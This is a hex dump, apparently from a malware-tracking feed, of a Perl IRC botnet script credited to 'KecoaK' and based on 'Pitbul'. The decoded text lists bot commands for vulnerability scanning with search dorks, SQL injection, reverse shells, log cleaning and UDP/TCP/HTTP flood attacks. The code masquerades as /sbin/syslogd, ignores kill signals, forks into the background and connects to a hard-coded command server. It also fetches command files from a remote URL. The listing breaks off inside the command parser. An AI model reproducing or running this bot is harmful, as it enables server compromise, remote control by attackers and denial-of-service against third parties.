- Clean MX - realtime

0:	23	21	2F	75	73	72	2F	62	69	6E	2F	70	65	72	6C	0D	0A	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	#!/usr/bin/perl ###############
32:	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	0D	0A	23	20	4F	72	69	67	69	6E	61	##################### # Origina
64:	6C	20	44	65	73	69	67	6E	20	42	79	20	50	69	74	62	75	6C	20	4D	6F	64	64	65	64	20	42	79	20	4B	65	63	l Design By Pitbul Modded By Kec
96:	6F	61	4B	0D	0A	23	2D	5B	4B	65	63	6F	61	4B	20	42	30	54	20	43	6F	6D	6D	61	6E	64	73	20	4C	69	73	74	oaK #-[KecoaK B T Commands List
128:	5D	2D	0D	0A	23	2D	2D	2D	2D	2D	5B	48	61	63	6B	69	6E	67	20	42	61	73	65	64	5D	2D	2D	2D	2D	2D	0D	0A	]- #-----[Hacking Based]-----
160:	23	20	21	62	6F	74	20	40	6D	75	6C	74	69	73	63	61	6E	20	3C	76	75	6C	6E	3E	20	3C	64	6F	72	6B	3E	0D	# !bot @multiscan <vuln> <dork>
192:	0A	23	20	21	62	6F	74	20	40	73	6F	63	6B	73	35	0D	0A	23	20	21	62	6F	74	20	40	73	71	6C	32	20	3C	76	# !bot @socks5 # !bot @sql2 <v
224:	75	6C	6E	3E	20	3C	64	6F	72	6B	3E	20	3C	63	6F	6C	3E	0D	0A	23	20	21	62	6F	74	20	40	70	6F	72	74	73	uln> <dork> <col> # !bot @ports
256:	63	61	6E	20	3C	69	70	3E	0D	0A	23	20	21	62	6F	74	20	40	6C	6F	67	63	6C	65	61	6E	65	72	0D	0A	23	20	can <ip> # !bot @logcleaner #
288:	21	62	6F	74	20	40	73	65	6E	64	6D	61	69	6C	20	3C	73	75	62	6A	65	63	74	3E	20	3C	73	65	6E	64	65	72	!bot @sendmail <subject> <sender
320:	3E	20	3C	72	65	63	69	70	69	65	6E	74	3E	20	3C	6D	65	73	73	61	67	65	3E	0D	0A	23	20	21	62	6F	74	20	> <recipient> <message> # !bot
352:	40	73	79	73	74	65	6D	0D	0A	23	20	21	62	6F	74	20	40	63	6C	65	61	72	74	6D	70	0D	0A	23	20	21	62	6F	@system # !bot @cleartmp # !bo
384:	74	20	40	72	6F	6F	74	61	62	6C	65	0D	0A	23	20	21	62	6F	74	20	40	6E	6D	61	70	20	3C	69	70	3E	20	3C	t @rootable # !bot @nmap <ip> <
416:	62	65	67	69	6E	70	6F	72	74	3E	20	3C	65	6E	64	70	6F	72	74	3E	0D	0A	23	20	21	62	6F	74	20	40	62	61	beginport> <endport> # !bot @ba
448:	63	6B	20	3C	69	70	3E	3C	70	6F	72	74	3E	20	20	0D	0A	23	20	21	62	6F	74	20	40	6C	69	6E	75	78	68	65	ck <ip><port> # !bot @linuxhe
480:	6C	70	0D	0A	23	20	21	62	6F	74	20	40	63	64	20	74	6D	70	3A	2E	20	7C	20	66	6F	72	20	65	78	61	6D	70	lp # !bot @cd tmp:. \| for examp
512:	6C	65	0D	0A	23	2D	2D	2D	2D	2D	5B	41	64	76	69	73	6F	72	79	2D	4E	65	77	20	42	61	73	65	64	5D	2D	2D	le #-----[Advisory-New Based]--
544:	2D	2D	2D	0D	0A	23	20	21	62	6F	74	20	40	70	61	63	6B	65	74	73	74	6F	72	6D	0D	0A	23	20	21	62	6F	74	--- # !bot @packetstorm # !bot
576:	20	40	6D	69	6C	77	30	72	6D	0D	0A	23	2D	2D	2D	2D	2D	5B	44	44	6F	73	20	42	61	73	65	64	5D	2D	2D	2D	@milw rm #-----[DDos Based]---
608:	2D	2D	0D	0A	23	20	21	62	6F	74	20	40	75	64	70	66	6C	6F	6F	64	20	3C	68	6F	73	74	3E	20	3C	70	61	63	-- # !bot @udpflood <host> <pac
640:	6B	65	74	20	73	69	7A	65	3E	20	3C	74	69	6D	65	3E	0D	0A	23	20	21	62	6F	74	20	40	74	63	70	66	6C	6F	ket size> <time> # !bot @tcpflo
672:	6F	64	20	3C	68	6F	73	74	3E	20	3C	70	6F	72	74	3E	20	3C	70	61	63	6B	65	74	20	73	69	7A	65	3E	20	3C	od <host> <port> <packet size> <
704:	74	69	6D	65	3E	0D	0A	23	20	21	62	6F	74	20	40	68	74	74	70	66	6C	6F	6F	64	20	3C	68	6F	73	74	3E	20	time> # !bot @httpflood <host>
736:	3C	74	69	6D	65	3E	0D	0A	23	20	21	62	6F	74	20	40	73	71	6C	66	6C	6F	6F	64	20	3C	68	6F	73	74	3E	20	<time> # !bot @sqlflood <host>
768:	3C	74	69	6D	65	3E	0D	0A	23	2D	2D	2D	2D	2D	5B	49	52	43	20	42	61	73	65	64	5D	2D	2D	2D	2D	2D	0D	0A	<time> #-----[IRC Based]-----
800:	23	20	21	62	6F	74	20	40	6B	69	6C	6C	6D	65	20	20	0D	0A	23	20	21	62	6F	74	20	40	6A	6F	69	6E	20	23	# !bot @killme # !bot @join #
832:	63	68	61	6E	6E	65	6C	0D	0A	23	20	21	62	6F	74	20	40	70	61	72	74	20	23	63	68	61	6E	6E	65	6C	0D	0A	channel # !bot @part #channel
864:	23	20	21	62	6F	74	20	40	72	65	73	65	74	0D	0A	23	20	21	62	6F	74	20	40	76	6F	69	63	65	20	3C	77	68	# !bot @reset # !bot @voice <wh
896:	6F	3E	0D	0A	23	20	21	62	6F	74	20	40	6F	77	6E	65	72	20	3C	77	68	6F	3E	0D	0A	23	20	21	62	6F	74	20	o> # !bot @owner <who> # !bot
928:	40	64	65	6F	77	6E	65	72	20	3C	77	68	6F	3E	0D	0A	23	20	21	62	6F	74	20	40	64	65	76	6F	69	63	65	20	@deowner <who> # !bot @devoice
960:	3C	77	68	6F	3E	0D	0A	23	20	21	62	6F	74	20	40	68	61	6C	66	6F	70	20	3C	77	68	6F	3E	0D	0A	23	20	21	<who> # !bot @halfop <who> # !
992:	62	6F	74	20	40	64	65	68	61	6C	66	6F	70	20	3C	77	68	6F	3E	0D	0A	23	20	21	62	6F	74	20	40	6F	70	20	bot @dehalfop <who> # !bot @op
1024:	3C	77	68	6F	3E	0D	0A	23	20	21	62	6F	74	20	40	64	65	6F	70	20	3C	77	68	6F	3E	0D	0A	23	2D	2D	2D	2D	<who> # !bot @deop <who> #----
1056:	2D	5B	46	6C	6F	6F	64	69	6E	67	20	42	61	73	65	64	5D	2D	2D	2D	2D	2D	0D	0A	23	20	21	62	6F	74	20	40	-[Flooding Based]----- # !bot @
1088:	6D	73	67	66	6C	6F	6F	64	20	3C	77	68	6F	3E	0D	0A	23	20	21	62	6F	74	20	40	64	63	63	66	6C	6F	6F	64	msgflood <who> # !bot @dccflood
1120:	20	3C	77	68	6F	3E	0D	0A	23	20	21	62	6F	74	20	40	63	74	63	70	66	6C	6F	6F	64	20	3C	77	68	6F	3E	0D	<who> # !bot @ctcpflood <who>
1152:	0A	23	20	21	62	6F	74	20	40	6E	6F	74	69	63	65	66	6C	6F	6F	64	20	3C	77	68	6F	3E	0D	0A	23	20	21	62	# !bot @noticeflood <who> # !b
1184:	6F	74	20	40	63	68	61	6E	6E	65	6C	66	6C	6F	6F	64	0D	0A	23	20	21	62	6F	74	20	40	6D	61	78	69	66	6C	ot @channelflood # !bot @maxifl
1216:	6F	6F	64	20	3C	77	68	6F	3E	0D	0A	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	ood <who> #####################
1248:	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	0D	0A	75	73	65	20	48	54	54	50	3A	3A	52	65	71	75	65	############### use HTTP::Reque
1280:	73	74	3B	0D	0A	75	73	65	20	4C	57	50	3A	3A	55	73	65	72	41	67	65	6E	74	3B	0D	0A	6D	79	20	24	70	72	st; use LWP::UserAgent; my $pr
1312:	6F	63	65	73	73	6F	20	3D	20	27	2F	73	62	69	6E	2F	73	79	73	6C	6F	67	64	27	3B	0D	0A	6D	79	20	24	6C	ocesso = '/sbin/syslogd'; my $l
1344:	69	6E	61	73	5F	6D	61	78	3D	27	31	30	27	3B	0D	0A	6D	79	20	24	73	6C	65	65	70	3D	27	35	27	3B	0D	0A	inas_max='1 '; my $sleep='5';
1376:	6D	79	20	24	63	6D	64	3D	22	68	74	74	70	3A	2F	2F	68	34	63	6B	33	64	2E	77	73	6E	77	2E	6E	65	74	2F	my $cmd="http://h4ck3d.wsnw.net/
1408:	6D	69	63	32	32	2E	74	78	74	22	3B	0D	0A	6D	79	20	24	69	64	3D	22	68	74	74	70	3A	2F	2F	68	34	63	6B	mic22.txt"; my $id="http://h4ck
1440:	33	64	2E	77	73	6E	77	2E	6E	65	74	2F	6D	69	63	32	32	2E	74	78	74	22	3B	0D	0A	23	23	23	23	23	23	23	3d.wsnw.net/mic22.txt"; #######
1472:	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	################################
1504:	23	23	23	23	23	0D	0A	6D	79	20	40	61	64	6D	73	3D	28	22	44	72	61	67	6F	6E	5F	66	6C	79	22	2C	22	53	##### my @adms=("Dragon_fly","S
1536:	54	4D	49	4B	22	29	3B	0D	0A	6D	79	20	40	63	61	6E	61	69	73	3D	28	22	23	67	6F	6F	64	22	29	3B	0D	0A	TMIK"); my @canais=("#good");
1568:	23	50	75	74	20	79	6F	75	72	20	63	68	61	6E	6E	65	6C	20	68	65	72	65	0D	0A	6D	79	20	40	6E	69	63	6B	#Put your channel here my @nick
1600:	6E	61	6D	65	20	3D	20	28	22	4D	61	6E	63	75	61	6E	61	22	2C	22	55	6D	6D	61	69	72	22	2C	20	0D	0A	20	name = ("Mancuana","Ummair",
1632:	20	20	20	22	55	74	73	6D	61	6E	22	2C	0D	0A	20	20	20	20	22	41	62	75	42	61	6B	61	72	22	2C	0D	0A	20	"Utsman", "AbuBakar",
1664:	20	20	20	22	41	6C	69	22	2C	0D	0A	20	20	20	20	22	55	6D	61	72	22	2C	0D	0A	20	20	20	20	22	57	61	72	"Ali", "Umar", "War
1696:	61	71	6F	22	2C	0D	0A	20	20	20	20	22	4B	68	61	64	69	6A	61	68	22	2C	0D	0A	20	20	20	20	22	48	61	73	aqo", "Khadijah", "Has
1728:	79	69	6D	22	2C	0D	0A	20	20	20	20	22	41	62	62	61	73	22	2C	0D	0A	20	20	20	20	22	4E	75	72	41	6C	69	yim", "Abbas", "NurAli
1760:	6D	22	2C	0D	0A	20	20	20	20	22	55	6D	6D	69	22	2C	0D	0A	20	20	20	20	22	41	75	66	61	22	2C	0D	0A	20	m", "Ummi", "Aufa",
1792:	20	20	20	22	48	61	72	69	74	73	22	2C	0D	0A	20	20	20	20	22	4A	61	66	61	72	22	2C	0D	0A	20	20	20	20	"Harits", "Jafar",
1824:	22	48	61	72	69	74	68	61	22	2C	0D	0A	20	20	20	20	22	41	62	64	75	72	72	61	68	6D	61	6E	22	2C	0D	0A	"Haritha", "Abdurrahman",
1856:	20	20	20	20	22	55	62	61	69	64	69	6C	6C	61	68	22	2C	20	0D	0A	20	20	20	20	22	53	61	61	64	22	2C	0D	"Ubaidillah", "Saad",
1888:	0A	20	20	20	20	22	5A	75	62	61	69	72	22	2C	0D	0A	20	20	20	20	22	55	62	61	69	64	61	22	2C	0D	0A	20	"Zubair", "Ubaida",
1920:	20	20	20	22	42	69	6C	61	6C	22	2C	0D	0A	20	20	20	20	22	4B	68	6F	69	74	68	61	6D	61	22	2C	0D	0A	20	"Bilal", "Khoithama",
1952:	20	20	20	22	48	61	6D	7A	61	68	22	2C	0D	0A	20	20	20	20	22	44	75	6A	61	6E	61	22	2C	0D	0A	20	20	20	"Hamzah", "Dujana",
1984:	20	22	51	75	7A	6D	61	6E	22	2C	0D	0A	20	20	20	20	22	4B	68	6F	6C	69	64	22	2C	0D	0A	20	20	20	20	22	"Quzman", "Kholid", "
2016:	41	6E	61	73	22	2C	0D	0A	20	20	20	20	22	55	73	61	6D	61	22	2C	0D	0A	20	20	20	20	22	4D	75	77	61	79	Anas", "Usama", "Muway
2048:	68	69	62	61	22	2C	0D	0A	20	20	20	20	22	5A	77	69	65	72	73	22	29	3B	0D	0A	6D	79	20	24	6E	69	63	6B	hiba", "Zwiers"); my $nick
2080:	20	3D	20	24	6E	69	63	6B	6E	61	6D	65	5B	72	61	6E	64	20	73	63	61	6C	61	72	20	40	6E	69	63	6B	6E	61	= $nickname[rand scalar @nickna
2112:	6D	65	5D	3B	0D	0A	23	4E	69	63	6B	6E	61	6D	65	20	6F	66	20	62	6F	74	20	0D	0A	6D	79	20	24	69	72	63	me]; #Nickname of bot my $irc
2144:	6E	61	6D	65	20	3D	27	73	61	74	72	69	61	27	3B	0D	0A	63	68	6F	70	20	28	6D	79	20	24	72	65	61	6C	6E	name ='satria'; chop (my $realn
2176:	61	6D	65	20	3D	20	27	69	60	64	61	64	27	29	3B	0D	0A	23	49	52	43	20	6E	61	6D	65	20	61	6E	64	20	52	ame = 'i`dad'); #IRC name and R
2208:	65	61	6C	6E	61	6D	65	20	0D	0A	24	73	65	72	76	69	64	6F	72	3D	27	73	65	6B	69	70	7A	2E	6E	65	74	27	ealname $servidor='sekipz.net'
2240:	20	75	6E	6C	65	73	73	20	24	73	65	72	76	69	64	6F	72	3B	0D	0A	6D	79	20	24	70	6F	72	74	61	3D	27	38	unless $servidor; my $porta='8
2272:	30	27	3B	20	0D	0A	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	'; ##########################
2304:	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	0D	0A	24	53	49	47	7B	27	49	4E	54	27	7D	20	################## $SIG{'INT'}
2336:	3D	20	27	49	47	4E	4F	52	45	27	3B	0D	0A	24	53	49	47	7B	27	48	55	50	27	7D	20	3D	20	27	49	47	4E	4F	= 'IGNORE'; $SIG{'HUP'} = 'IGNO
2368:	52	45	27	3B	0D	0A	24	53	49	47	7B	27	54	45	52	4D	27	7D	20	3D	20	27	49	47	4E	4F	52	45	27	3B	0D	0A	RE'; $SIG{'TERM'} = 'IGNORE';
2400:	24	53	49	47	7B	27	43	48	4C	44	27	7D	20	3D	20	27	49	47	4E	4F	52	45	27	3B	0D	0A	24	53	49	47	7B	27	$SIG{'CHLD'} = 'IGNORE'; $SIG{'
2432:	50	53	27	7D	20	3D	20	27	49	47	4E	4F	52	45	27	3B	0D	0A	75	73	65	20	49	4F	3A	3A	53	6F	63	6B	65	74	PS'} = 'IGNORE'; use IO::Socket
2464:	3B	0D	0A	75	73	65	20	53	6F	63	6B	65	74	3B	0D	0A	75	73	65	20	49	4F	3A	3A	53	65	6C	65	63	74	3B	0D	; use Socket; use IO::Select;
2496:	0A	63	68	64	69	72	28	22	2F	22	29	3B	0D	0A	0D	0A	23	43	6F	6E	6E	65	63	74	0D	0A	24	73	65	72	76	69	chdir("/"); #Connect $servi
2528:	64	6F	72	3D	22	24	41	52	47	56	5B	30	5D	22	20	69	66	20	24	41	52	47	56	5B	30	5D	3B	0D	0A	24	30	3D	dor="$ARGV[ ]" if $ARGV[ ]; $ =
2560:	22	24	70	72	6F	63	65	73	73	6F	22	2E	22	5C	30	22	78	31	36	3B	3B	0D	0A	6D	79	20	24	70	69	64	3D	66	"$processo"."\ "x16;; my $pid=f
2592:	6F	72	6B	3B	0D	0A	65	78	69	74	20	69	66	20	24	70	69	64	3B	0D	0A	64	69	65	20	22	4D	61	73	61	6C	61	ork; exit if $pid; die "Masala
2624:	68	20	66	6F	72	6B	3A	20	24	21	22	20	75	6E	6C	65	73	73	20	64	65	66	69	6E	65	64	28	24	70	69	64	29	h fork: $!" unless defined($pid)
2656:	3B	0D	0A	0D	0A	6F	75	72	20	25	69	72	63	5F	73	65	72	76	65	72	73	3B	0D	0A	6F	75	72	20	25	44	43	43	; our %irc_servers; our %DCC
2688:	3B	0D	0A	6D	79	20	24	64	63	63	5F	73	65	6C	20	3D	20	6E	65	77	20	49	4F	3A	3A	53	65	6C	65	63	74	2D	; my $dcc_sel = new IO::Select-
2720:	3E	6E	65	77	28	29	3B	0D	0A	24	73	65	6C	5F	63	6C	69	65	6E	74	65	20	3D	20	49	4F	3A	3A	53	65	6C	65	>new(); $sel_cliente = IO::Sele
2752:	63	74	2D	3E	6E	65	77	28	29	3B	0D	0A	73	75	62	20	73	65	6E	64	72	61	77	20	7B	0D	0A	20	20	20	69	66	ct->new(); sub sendraw { if
2784:	20	28	24	23	5F	20	3D	3D	20	27	31	27	29	20	7B	0D	0A	20	20	20	20	20	20	6D	79	20	24	73	6F	63	6B	65	($#_ == '1') { my $socke
2816:	74	20	3D	20	24	5F	5B	30	5D	3B	0D	0A	20	20	20	20	20	20	70	72	69	6E	74	20	24	73	6F	63	6B	65	74	20	t = $_[ ]; print $socket
2848:	22	24	5F	5B	31	5D	5C	6E	22	3B	0D	0A	0D	0A	20	20	20	7D	20	65	6C	73	65	20	7B	0D	0A	20	20	20	20	20	"$_[1]\n"; } else {
2880:	20	70	72	69	6E	74	20	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	20	22	24	5F	5B	30	5D	5C	6E	22	print $IRC_cur_socket "$_[ ]\n"
2912:	3B	0D	0A	20	20	20	7D	0D	0A	7D	0D	0A	0D	0A	73	75	62	20	63	6F	6E	65	63	74	61	72	20	7B	0D	0A	20	20	; } } sub conectar {
2944:	20	6D	79	20	24	6D	65	75	6E	69	63	6B	20	3D	20	24	5F	5B	30	5D	3B	0D	0A	20	20	20	6D	79	20	24	73	65	my $meunick = $_[ ]; my $se
2976:	72	76	69	64	6F	72	5F	63	6F	6E	20	3D	20	24	5F	5B	31	5D	3B	0D	0A	20	20	20	6D	79	20	24	70	6F	72	74	rvidor_con = $_[1]; my $port
3008:	61	5F	63	6F	6E	20	3D	20	24	5F	5B	32	5D	3B	0D	0A	0D	0A	20	20	20	6D	79	20	24	49	52	43	5F	73	6F	63	a_con = $_[2]; my $IRC_soc
3040:	6B	65	74	20	3D	20	49	4F	3A	3A	53	6F	63	6B	65	74	3A	3A	49	4E	45	54	2D	3E	6E	65	77	28	50	72	6F	74	ket = IO::Socket::INET->new(Prot
3072:	6F	3D	3E	22	74	63	70	22	2C	20	50	65	65	72	41	64	64	72	3D	3E	22	24	73	65	72	76	69	64	6F	72	5F	63	o=>"tcp", PeerAddr=>"$servidor_c
3104:	6F	6E	22	2C	0D	0A	20	20	20	50	65	65	72	50	6F	72	74	3D	3E	24	70	6F	72	74	61	5F	63	6F	6E	29	20	6F	on", PeerPort=>$porta_con) o
3136:	72	20	72	65	74	75	72	6E	28	31	29	3B	0D	0A	20	20	20	69	66	20	28	64	65	66	69	6E	65	64	28	24	49	52	r return(1); if (defined($IR
3168:	43	5F	73	6F	63	6B	65	74	29	29	20	7B	0D	0A	20	20	20	20	20	20	24	49	52	43	5F	63	75	72	5F	73	6F	63	C_socket)) { $IRC_cur_soc
3200:	6B	65	74	20	3D	20	24	49	52	43	5F	73	6F	63	6B	65	74	3B	0D	0A	20	20	20	20	20	20	24	49	52	43	5F	73	ket = $IRC_socket; $IRC_s
3232:	6F	63	6B	65	74	2D	3E	61	75	74	6F	66	6C	75	73	68	28	31	29	3B	0D	0A	20	20	20	20	20	20	24	73	65	6C	ocket->autoflush(1); $sel
3264:	5F	63	6C	69	65	6E	74	65	2D	3E	61	64	64	28	24	49	52	43	5F	73	6F	63	6B	65	74	29	3B	0D	0A	20	20	20	_cliente->add($IRC_socket);
3296:	20	20	20	24	69	72	63	5F	73	65	72	76	65	72	73	7B	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	7D	$irc_servers{$IRC_cur_socket}
3328:	7B	27	68	6F	73	74	27	7D	20	3D	20	22	24	73	65	72	76	69	64	6F	72	5F	63	6F	6E	22	3B	0D	0A	20	20	20	{'host'} = "$servidor_con";
3360:	20	20	20	24	69	72	63	5F	73	65	72	76	65	72	73	7B	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	7D	$irc_servers{$IRC_cur_socket}
3392:	7B	27	70	6F	72	74	61	27	7D	20	3D	20	22	24	70	6F	72	74	61	5F	63	6F	6E	22	3B	0D	0A	20	20	20	20	20	{'porta'} = "$porta_con";
3424:	20	24	69	72	63	5F	73	65	72	76	65	72	73	7B	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	7D	7B	27	$irc_servers{$IRC_cur_socket}{'
3456:	6E	69	63	6B	27	7D	20	3D	20	24	6D	65	75	6E	69	63	6B	3B	0D	0A	20	20	20	20	20	20	24	69	72	63	5F	73	nick'} = $meunick; $irc_s
3488:	65	72	76	65	72	73	7B	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	7D	7B	27	6D	65	75	69	70	27	7D	ervers{$IRC_cur_socket}{'meuip'}
3520:	20	3D	20	24	49	52	43	5F	73	6F	63	6B	65	74	2D	3E	73	6F	63	6B	68	6F	73	74	3B	0D	0A	20	20	20	20	20	= $IRC_socket->sockhost;
3552:	20	6E	69	63	6B	28	22	24	6D	65	75	6E	69	63	6B	22	29	3B	0D	0A	20	20	20	20	20	20	73	65	6E	64	72	61	nick("$meunick"); sendra
3584:	77	28	22	55	53	45	52	20	24	69	72	63	6E	61	6D	65	20	22	2E	24	49	52	43	5F	73	6F	63	6B	65	74	2D	3E	w("USER $ircname ".$IRC_socket->
3616:	73	6F	63	6B	68	6F	73	74	2E	22	20	24	73	65	72	76	69	64	6F	72	5F	63	6F	6E	20	3A	24	72	65	61	6C	6E	sockhost." $servidor_con :$realn
3648:	61	6D	65	22	29	3B	0D	0A	20	20	20	20	20	20	73	6C	65	65	70	20	31	3B	0D	0A	20	20	20	7D	0D	0A	7D	0D	ame"); sleep 1; } }
3680:	0A	0D	0A	6D	79	20	24	6C	69	6E	65	5F	74	65	6D	70	3B	0D	0A	77	68	69	6C	65	28	20	31	20	29	20	7B	0D	my $line_temp; while( 1 ) {
3712:	0A	20	20	20	77	68	69	6C	65	20	28	21	28	6B	65	79	73	28	25	69	72	63	5F	73	65	72	76	65	72	73	29	29	while (!(keys(%irc_servers))
3744:	29	20	7B	20	63	6F	6E	65	63	74	61	72	28	22	24	6E	69	63	6B	22	2C	20	22	24	73	65	72	76	69	64	6F	72	) { conectar("$nick", "$servidor
3776:	22	2C	20	22	24	70	6F	72	74	61	22	29	3B	20	7D	0D	0A	20	20	20	73	65	6C	65	63	74	28	75	6E	64	65	66	", "$porta"); } select(undef
3808:	2C	20	75	6E	64	65	66	2C	20	75	6E	64	65	66	2C	20	30	2E	30	31	29	3B	20	23	73	6C	65	65	70	69	6E	67	, undef, undef, . 1); #sleeping
3840:	20	66	6F	72	20	61	20	66	72	61	63	74	69	6F	6E	20	6F	66	20	61	20	73	65	63	6F	6E	64	20	6B	65	65	70	for a fraction of a second keep
3872:	73	20	74	68	65	20	73	63	72	69	70	74	20	66	72	6F	6D	20	72	75	6E	6E	69	6E	67	20	74	6F	20	31	30	30	s the script from running to 1
3904:	20	63	70	75	20	75	73	61	67	65	20	5E	5F	5E	0D	0A	20	20	20	64	65	6C	65	74	65	28	24	69	72	63	5F	73	cpu usage ^_^ delete($irc_s
3936:	65	72	76	65	72	73	7B	27	27	7D	29	20	69	66	20	28	64	65	66	69	6E	65	64	28	24	69	72	63	5F	73	65	72	ervers{''}) if (defined($irc_ser
3968:	76	65	72	73	7B	27	27	7D	29	29	3B	0D	0A	20	20	20	6D	79	20	40	72	65	61	64	79	20	3D	20	24	73	65	6C	vers{''})); my @ready = $sel
4000:	5F	63	6C	69	65	6E	74	65	2D	3E	63	61	6E	5F	72	65	61	64	28	30	29	3B	0D	0A	20	20	20	6E	65	78	74	20	_cliente->can_read( ); next
4032:	75	6E	6C	65	73	73	28	40	72	65	61	64	79	29	3B	0D	0A	20	20	20	66	6F	72	65	61	63	68	20	24	66	68	20	unless(@ready); foreach $fh
4064:	28	40	72	65	61	64	79	29	20	7B	0D	0A	20	20	20	20	20	20	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	(@ready) { $IRC_cur_socke
4096:	74	20	3D	20	24	66	68	3B	0D	0A	20	20	20	20	20	20	24	6D	65	75	6E	69	63	6B	20	3D	20	24	69	72	63	5F	t = $fh; $meunick = $irc_
4128:	73	65	72	76	65	72	73	7B	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	7D	7B	27	6E	69	63	6B	27	7D	servers{$IRC_cur_socket}{'nick'}
4160:	3B	0D	0A	20	20	20	20	20	20	24	6E	72	65	61	64	20	3D	20	73	79	73	72	65	61	64	28	24	66	68	2C	20	24	; $nread = sysread($fh, $
4192:	6D	73	67	2C	20	34	30	39	36	29	3B	0D	0A	20	20	20	20	20	20	69	66	20	28	24	6E	72	65	61	64	20	3D	3D	msg, 4 96); if ($nread ==
4224:	20	30	29	20	7B	0D	0A	20	20	20	20	20	20	20	20	20	24	73	65	6C	5F	63	6C	69	65	6E	74	65	2D	3E	72	65	) { $sel_cliente->re
4256:	6D	6F	76	65	28	24	66	68	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	24	66	68	2D	3E	63	6C	6F	73	65	3B	move($fh); $fh->close;
4288:	0D	0A	20	20	20	20	20	20	20	20	20	64	65	6C	65	74	65	28	24	69	72	63	5F	73	65	72	76	65	72	73	7B	24	delete($irc_servers{$
4320:	66	68	7D	29	3B	0D	0A	20	20	20	20	20	20	7D	0D	0A	20	20	20	20	20	20	40	6C	69	6E	65	73	20	3D	20	73	fh}); } @lines = s
4352:	70	6C	69	74	20	28	2F	5C	6E	2F	2C	20	24	6D	73	67	29	3B	0D	0A	20	20	20	20	20	20	66	6F	72	28	6D	79	plit (/\n/, $msg); for(my
4384:	20	24	63	3D	30	3B	20	24	63	3C	3D	20	24	23	6C	69	6E	65	73	3B	20	24	63	2B	2B	29	20	7B	0D	0A	20	20	$c= ; $c<= $#lines; $c++) {
4416:	20	20	20	20	20	20	20	24	6C	69	6E	65	20	3D	20	24	6C	69	6E	65	73	5B	24	63	5D	3B	0D	0A	20	20	20	20	$line = $lines[$c];
4448:	20	20	20	20	20	24	6C	69	6E	65	3D	24	6C	69	6E	65	5F	74	65	6D	70	2E	24	6C	69	6E	65	20	69	66	20	28	$line=$line_temp.$line if (
4480:	24	6C	69	6E	65	5F	74	65	6D	70	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	24	6C	69	6E	65	5F	74	65	6D	$line_temp); $line_tem
4512:	70	3D	27	27	3B	0D	0A	20	20	20	20	20	20	20	20	20	24	6C	69	6E	65	20	3D	7E	20	73	2F	5C	72	24	2F	2F	p=''; $line =~ s/\r$//
4544:	3B	0D	0A	20	20	20	20	20	20	20	20	20	75	6E	6C	65	73	73	20	28	24	63	20	3D	3D	20	24	23	6C	69	6E	65	; unless ($c == $#line
4576:	73	29	20	7B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	70	61	72	73	65	28	22	24	6C	69	6E	65	22	29	s) { parse("$line")
4608:	3B	0D	0A	20	20	20	20	20	20	20	20	20	7D	20	65	6C	73	65	20	7B	0D	0A	20	20	20	20	20	20	20	20	20	20	; } else {
4640:	20	20	69	66	20	28	24	23	6C	69	6E	65	73	20	3D	3D	20	30	29	20	7B	0D	0A	20	20	20	20	20	20	20	20	20	if ($#lines == ) {
4672:	20	20	20	20	20	20	70	61	72	73	65	28	22	24	6C	69	6E	65	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	parse("$line");
4704:	20	20	20	7D	20	65	6C	73	69	66	20	28	24	6C	69	6E	65	73	5B	24	63	5D	20	3D	7E	20	2F	5C	72	24	2F	29	} elsif ($lines[$c] =~ /\r$/)
4736:	20	7B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	70	61	72	73	65	28	22	24	6C	69	6E	65	22	{ parse("$line"
4768:	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	7D	20	65	6C	73	69	66	20	28	24	6C	69	6E	65	20	3D	); } elsif ($line =
4800:	7E	20	2F	5E	28	5C	53	2B	29	20	4E	4F	54	49	43	45	20	41	55	54	48	20	3A	5C	2A	5C	2A	5C	2A	2F	29	20	~ /^(\S+) NOTICE AUTH :\\\*/)
4832:	7B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	70	61	72	73	65	28	22	24	6C	69	6E	65	22	29	{ parse("$line")
4864:	3B	20	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	7D	20	65	6C	73	65	20	7B	0D	0A	20	20	20	20	20	20	; } else {
4896:	20	20	20	20	20	20	20	20	20	24	6C	69	6E	65	5F	74	65	6D	70	20	3D	20	24	6C	69	6E	65	3B	0D	0A	20	20	$line_temp = $line;
4928:	20	20	20	20	20	20	20	20	20	20	7D	0D	0A	20	20	20	20	20	20	20	20	20	7D	0D	0A	20	20	20	20	20	20	7D	} } }
4960:	0D	0A	20	20	20	7D	0D	0A	7D	0D	0A	0D	0A	73	75	62	20	70	61	72	73	65	20	7B	0D	0A	20	20	20	6D	79	20	} } sub parse { my
4992:	24	73	65	72	76	61	72	67	20	3D	20	73	68	69	66	74	3B	0D	0A	20	20	20	69	66	20	28	24	73	65	72	76	61	$servarg = shift; if ($serva
5024:	72	67	20	3D	7E	20	2F	5E	50	49	4E	47	20	5C	3A	28	2E	2A	29	2F	29	20	7B	0D	0A	20	20	20	20	20	20	73	rg =~ /^PING \:(.*)/) { s
5056:	65	6E	64	72	61	77	28	22	50	4F	4E	47	20	3A	24	31	22	29	3B	0D	0A	20	20	20	7D	20	65	6C	73	69	66	20	endraw("PONG :$1"); } elsif
5088:	28	24	73	65	72	76	61	72	67	20	3D	7E	20	2F	5E	5C	3A	28	2E	2B	3F	29	5C	21	28	2E	2B	3F	29	5C	40	28	($servarg =~ /^\:(.+?)\!(.+?)\@(
